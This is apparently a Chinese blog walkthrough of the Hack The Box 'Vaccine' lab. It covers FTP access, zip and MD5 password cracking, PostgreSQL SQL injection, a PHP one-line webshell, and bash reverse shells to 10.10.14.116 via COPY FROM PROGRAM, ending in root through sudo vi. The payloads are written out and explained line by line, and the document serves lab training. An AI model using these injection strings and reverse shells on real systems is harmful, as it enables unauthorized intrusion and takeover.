hack the box vaccine 靶场练习

收集10.10.10.46

-sV 代表扫描端口和开放的服务信息

-sS 代表用hack the box vaccine 靶场练习

发现开放了80,21等端口。我们用上一个靶机获取到的账号和密码来连接一下这个ftp服务器,并查看一下有哪一些文件。

ftp 10.10.10.46		//然后更具提示输入账号和密码 ls 
hack the box vaccine 靶场练习

发现了一个backup.zip,把它下载下来并解压。

如果被防火墙拦截则可以开启被动模式,详细了解被动模式可参考:https://www.cnblogs.com/yjf512/p/13206048.html

get backup.zip		//ftp下载文件 exit				//退出ftp程序 unzip backup.zip	//解压zip 
hack the box vaccine 靶场练习

发现解压需要密码。

获取密码

接下来我们来破解一下这个密码。

zip2john backup.zip>result john result john --show result 

zip2john 是将在zip文件中提取密码密文,然后通过">"把这个密文写到文件result里面。

john 是将这个密文破解,但是破解后不会直接显示出来。

john --show result 这条命令是显示刚刚破解result的密码。

在图中我们可以看到这个zip的密码是 741852963

hack the box vaccine 靶场练习
unzip backup.zip vim index.php 

解压后我们发现了两个文件,分别是: index.phpstyle.css,通过vim打开 index.php来分析一下代码。竟然发现登陆密码直接写在这个网页中,而没有在数据库中。很明显这个密码是通过了一次md5加密得到的。

hack the box vaccine 靶场练习

把这个密文放到http://cmd5.com破解,很快,啪的一下的破解了,很明显是个弱口令。

hack the box vaccine 靶场练习

获取shell

登陆后台,发现有一个搜索框。在这种有数据输入的地方要十分注意,很有可能是有漏洞

hack the box vaccine 靶场练习

直接上sqlmap,但是发现sqlmap获取shell后网站变得奇慢无比,网站的打开速度也变慢了许多,和断了网似的,也不知道是什么原因,因此我们换一种方法。刚刚已经通过sqlmap得知这个网站采用的数据库是PostgreSQL version 11.5,该数据库有COPY命令可以利用,尝试写入一句话木马。

http://10.10.10.46/dashboard.php?search=1';COPY (select '<?php @eval($_GET[a]);?>') TO '/var/www/html/a.php';-- 
hack the box vaccine 靶场练习

通过浏览器上显示的信息来看是权限不足,我们换一种方法。通过百度得知这有一个命令执行漏洞,类似于SQL server的xp_cmdshell,可以执行系统命令。为了建立反弹shell,首先在本地监听一个端口。

nc -lvnp 1234 

-l 代表监听模式

-v 代表输出详细报告

-n 代表不执行DNS查询,如果使用的是域名就不能加入该参数

-p 指定端口号

然后再在浏览器上url栏的 http://10.10.10.46/dashboard.php?search='后面输入以下命令:

'; CREATE TABLE cmd_exec(cmd_output text); -- '; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i &> /dev/tcp/10.10.14.116/1234 0>&1"'; --  

第一句是创建一个表cmd_exec,用来接收执行的命令。

第二句是执行一段系统命令来建立反弹shell。

下面我们来详细分析一下这段建立反弹shell的命令

bash -c "bash -i &> /dev/tcp/10.10.14.116/1234 0>&1" 

bash -c 代表用bash来执行一段命令,参数c后面加上一段需要执行的命令

bash -i 代表建立一个交互式的shell

> 这个我们经常见到,例如我们常用 echo “hello world”>hello.txt,这个代表将将字符串写入一个文件

那么&>又代表什么呢?我们先来了解一下shell中的三个文件描述符(file descriptor)。

0 是一个文件描述符,表示标准输入(stdin),即在shell中我们输入的字符。

1 是一个文件描述符,表示标准输出(stdout),即在shell中系统输出的字符。

2是一个文件描述符,表示标准错误(stderr),即shell中报错输出的字符。

在>前面的&代表文件描述符1和2,也就是标准输出和标准错误信息,这里是把交互式bash中的标准输出信息和报错信息都写入/dev/tcp/10.10.14.116/1234文件中。

这里的/dev/tcp是一个设备文件,并不是一个真正的文本文件。它的作用是建立tcp连接,在这里是与10.10.14.116的1234端口建立连接。

0>&1 这代表bash中的标准输入信息写入文件管道1(stdout),这里的&的意思与前面的不同,这里&与1是一个整体,&1代表文件描述符1(stdout)。而前面已经通过命令&>将文件管道1(stdout)的数据写入了/dev/tcp,所以这里的文件管道0的数据也会跟随文件管道1写入/dev/tcp。这样就将bash -i中的全部数据传输到了本地监听程序中,也就建立一个shell。

更详细的内容可以参考:

https://www.cnblogs.com/liuchaogege/p/6124669.html

https://zoresmile.cn/linux/2020/04/927.html

hack the box vaccine 靶场练习 hack the box vaccine 靶场练习

但是我们发现命令并没有执行成功。我们命令中的&变成了%,尝试转义符也没有成功。那我们不输入&,建立一个没有回显的反弹shell。注意在>前边有加一个0,需要穿点数据才能才能建立shell。

'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i 0> /dev/tcp/10.10.14.116/1234"'; --  

选在反弹shell建立建立好了,但是没有回显,所以我们需要再建立一个有回显的反弹shell。首先新打开一个终端执行一下命令:

nc -lvnp 4443 

然后在这个没有回显的shell中执行以下命令,看到监听终端中收到消息说明有回显的反弹shell建立成功。

bash -c "bash -i &> /dev/tcp/10.10.14.116/4443 0>&1" 
hack the box vaccine 靶场练习 hack the box vaccine 靶场练习

来到网站目录/var/www/html查看一下有什么文件,查看一下dashboard.php,我们在这个文件里面发现了连接数据库的账号postgres和密码P@5w0rd!,经过测试这个正是当前该系统的用户名和密码。

hack the box vaccine 靶场练习

首先把shell升级成交互式shell。

SHELL=/bin/bash script -q /dev/null		//升级为交互式shell 

SHELL是环境变量,它的值代表系统执行shell的文件位置。

script命令的原本作用是录制终端的会话过程,执行该命令后会运行一个新的shell,在此shell中执行命令的过程将会记录下来并保存在一个文件里面。这里执行script并不需要录制命令过程,我们需要的仅仅是它会运行一个新的shell。

-q 代表以静默方式运行一个新的shell,也就是说在后台运行一个新的shell。如果不加这个参数,则会弹出一个新的shell命令框。

/dev/null在这条命令中扮演的角色是保存script记录的文件,但是/dev/null一个特殊的设备文件,一切写入改文件的数据都会消失。我们不需要记录我们所执行的命令,所以将script所记录的内容指向该设备文件。

更详细内容可以参考:

https://www.xuexila.com/diannao/xitong/linux/3631993.html,linux的script命令

https://blog.su postgres sudo -l hack the box vaccine 靶场练习

我们发现postgres账号可以以root权限运行vi,在vi中是可以调用shell的。我们用root权限打开vi,然后再通过vi调用shell,这样这个shell也是以root权限运行。首先执行一下命令以root的权限打开vi。

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf 

然后按 进入命令模式,在命令模式下输入以下命令的其中一条即可:

!/bin/bash !/bin/sh shell 

在vi/vim的命令模式下!加在命令后面表示强制执行,如果加在前边表示这是一条shell命令。以 !/bin/bash为例,这句命令表示以shell命令的方式执行 /bin/bash,也就是打开一个交互式终端。

在vi/vim的命令中,shell表示打开一个终端。

hack the box vaccine 靶场练习

现在提权成功,可以在 /root/root.txt读取flage了。

参考文献

[1] https://www.linkedin.com/pulse/hack-box-starting-point-vaccine-nathan-barnes?trk=read_related_article-card_title,Hack the Box - Starting Point: Vaccine

[2] https://www.cnblogs.com/liuchaogege/p/6124669.html,shell 1>&2 2>&1 &>filename重定向的含义和区别

[3] https://zoresmile.cn/linux/2020/04/927.html,bash shell——bash -i >& /dev/tcp/192.168.174.128/9090 0>&1

[4] https://blog.csdn.net/Blood_Pupil/article/details/88795627,漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)

[5] https://www.cnblogs.com/yjf512/p/13206048.html,ftp的passive模式

版权声明:玥玥 发表于 2021-08-02 13:06:13。
转载请注明:hack the box vaccine 靶场练习 | 女黑客导航